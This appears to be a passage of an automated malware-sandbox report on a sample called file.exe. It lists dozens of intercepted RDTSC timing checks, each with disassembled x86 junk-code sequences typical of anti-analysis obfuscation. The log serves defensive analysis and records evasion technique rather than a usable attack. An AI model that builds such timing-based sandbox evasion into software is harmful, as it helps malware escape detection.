Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926C38 second address: 926C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F9820CD6B9Fh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F9820CD6B96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926F22 second address: 926F2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926F2D second address: 926F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927477 second address: 927480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927480 second address: 927484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927484 second address: 9274A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Dh 0x00000007 jnl 00007F98219BDB66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9274A1 second address: 9274BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F9820CD6B9Bh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jns 00007F9820CD6B98h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA163 second address: 8BA167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD020 second address: 8FD025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD025 second address: 8FD070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F98219BDB72h 0x00000011 nop 0x00000012 jmp 00007F98219BDB77h 0x00000017 lea eax, dword ptr [ebp+1247EDE0h] 0x0000001d xor dword ptr [ebp+122D35B9h], edx 0x00000023 nop 0x00000024 push esi 0x00000025 jng 00007F98219BDB6Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD070 second address: 8FD080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jbe 00007F9820CD6BAFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD080 second address: 8DD219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, 2A659000h 0x0000000f call dword ptr [ebp+122D20A0h] 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F98219BDB73h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD117 second address: 8FD1D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F9820CD6BA2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebx 0x00000010 jmp 00007F9820CD6BA8h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c or dword ptr [ebp+1244ED40h], ebx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov ch, 67h 0x0000002b mov dword ptr [ebp+1247EE38h], esp 0x00000031 mov dword ptr [ebp+122D35C0h], edi 0x00000037 cmp dword ptr [ebp+122D2A77h], 00000000h 0x0000003e jne 00007F9820CD6C47h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007F9820CD6B98h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov edi, dword ptr [ebp+122D2CCFh] 0x00000064 adc dx, 086Ah 0x00000069 mov byte ptr [ebp+122D3068h], 00000047h 0x00000070 mov cx, ax 0x00000073 mov eax, D49AA7D2h 0x00000078 add edx, 4760993Fh 0x0000007e push eax 0x0000007f pushad 0x00000080 jmp 00007F9820CD6BA0h 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD4D1 second address: 8FD4D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD4D5 second address: 8FD4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9820CD6BA2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD4EF second address: 8FD4F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD58A second address: 8FD58F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD58F second address: 8FD5CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 4C1E7121h 0x00000010 sub ecx, dword ptr [ebp+122D2A03h] 0x00000016 push E5E6CE84h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F98219BDB72h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD701 second address: 8FD714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], esi 0x0000000a mov dx, si 0x0000000d nop 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD714 second address: 8FD728 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F98219BDB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD728 second address: 8FD72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD72E second address: 8FD732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FD9E6 second address: 8FD9F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDEEE second address: 8FDEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDEF2 second address: 8FDEF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDEF8 second address: 8FDEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE156 second address: 8FE173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9820CD6B9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE173 second address: 8FE177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE177 second address: 8FE181 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE181 second address: 8FE1D5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F98219BDB7Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cl, C1h 0x0000000d lea eax, dword ptr [ebp+1247EE24h] 0x00000013 pushad 0x00000014 jnl 00007F98219BDB6Ch 0x0000001a pushad 0x0000001b mov ecx, dword ptr [ebp+122D2ABBh] 0x00000021 mov eax, dword ptr [ebp+122D211Ah] 0x00000027 popad 0x00000028 popad 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F98219BDB6Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE1D5 second address: 8DDD21 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9820CD6B9Ch 0x00000008 jc 00007F9820CD6B96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F9820CD6BA7h 0x00000016 nop 0x00000017 jmp 00007F9820CD6B9Ah 0x0000001c lea eax, dword ptr [ebp+1247EDE0h] 0x00000022 and edx, dword ptr [ebp+122D2CBBh] 0x00000028 push eax 0x00000029 jmp 00007F9820CD6BA2h 0x0000002e mov dword ptr [esp], eax 0x00000031 cmc 0x00000032 call dword ptr [ebp+122D2E26h] 0x00000038 pushad 0x00000039 pushad 0x0000003a push esi 0x0000003b pop esi 0x0000003c pushad 0x0000003d popad 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 jl 00007F9820CD6B96h 0x00000046 popad 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E0F4 second address: 92E104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F98219BDB66h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E239 second address: 92E23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E23D second address: 92E241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E241 second address: 92E24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F9820CD6B98h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E3AC second address: 92E3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E3B0 second address: 92E3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E3B6 second address: 92E3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F98219BDB6Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E670 second address: 92E675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E675 second address: 92E67B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E67B second address: 92E681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E681 second address: 92E685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E685 second address: 92E689 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932287 second address: 9322AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Ch 0x00000007 jmp 00007F98219BDB6Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9322AB second address: 9322AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9322AF second address: 9322B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376C5 second address: 9376C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376C9 second address: 9376CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376CF second address: 9376D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376D8 second address: 9376DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376DE second address: 9376FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jne 00007F9820CD6B96h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jc 00007F9820CD6B96h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9376FD second address: 937706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93796B second address: 937996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F9820CD6BA0h 0x0000000b popad 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9820CD6BA1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FE25 second address: 93FE2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FE2B second address: 93FE31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FE31 second address: 93FE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FE35 second address: 93FE64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6BA9h 0x00000007 jmp 00007F9820CD6B9Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F9820CD6B96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E9EA second address: 93E9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E9F0 second address: 93E9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93EB2B second address: 93EB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93EB31 second address: 93EB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9820CD6B9Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93ECA0 second address: 93ECA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93ECA9 second address: 93ECC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9820CD6BA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93ECC1 second address: 93ECC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F0A3 second address: 93F0DC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9820CD6BB2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jne 00007F9820CD6B96h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F9820CD6B96h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F3E9 second address: 93F3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F3EE second address: 93F40E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9820CD6BB2h 0x00000008 jmp 00007F9820CD6BA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F886 second address: 93F88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F88A second address: 93F8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9820CD6BA7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F8A7 second address: 93F8B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB6Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FCA5 second address: 93FCAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9418E6 second address: 9418F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F98219BDB66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9418F4 second address: 94190F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F9820CD6B9Eh 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B020E second address: 8B0214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9456F8 second address: 945709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9820CD6B9Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945709 second address: 945713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945713 second address: 945717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 945717 second address: 94571B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947851 second address: 947860 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9820CD6B9Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947992 second address: 947999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951458 second address: 951460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951460 second address: 951465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951465 second address: 95146B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95146B second address: 951475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F98219BDB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FDC5B second address: 8FDC63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9518B0 second address: 9518BA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F98219BDB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 953D2F second address: 953D39 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9820CD6B9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957373 second address: 957392 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F98219BDB79h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9574C4 second address: 9574D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9820CD6B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D789 second address: 95D7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F98219BDB73h 0x00000009 jmp 00007F98219BDB6Bh 0x0000000e jmp 00007F98219BDB72h 0x00000013 popad 0x00000014 jc 00007F98219BDB68h 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95D7C6 second address: 95D7CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E04F second address: 95E05F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F98219BDB72h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E05F second address: 95E076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9820CD6B96h 0x0000000a jmp 00007F9820CD6B9Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E076 second address: 95E07C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E07C second address: 95E080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
